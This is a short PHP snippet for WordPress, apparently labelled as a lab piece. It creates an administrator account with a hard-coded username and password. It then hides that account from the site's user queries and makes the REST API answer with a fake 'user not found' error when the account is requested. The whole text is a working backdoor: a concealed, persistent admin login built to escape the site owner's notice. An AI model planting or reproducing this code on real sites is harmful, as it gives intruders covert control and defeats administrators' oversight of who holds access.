(function() {
    $username = 'bk_lab_hidden';
    $password = 'LabPass@2026!';
    $email = 'lab@hidden.local';
    
    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');
            update_option('_lab_hidden_user_active', true);
        }
    }
    
    // Hiding filters
    add_action('pre_user_query', function($query) use ($username) {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $username);
    });
    
    add_filter('rest_prepare_user', function($response, $user) use ($username) {
        if ($user->user_login === $username) {
            return new WP_Error('user_not_found', 'User not found', array('status' => 404));
        }
        return $response;
    }, 10, 2);
    
    return true;
})();
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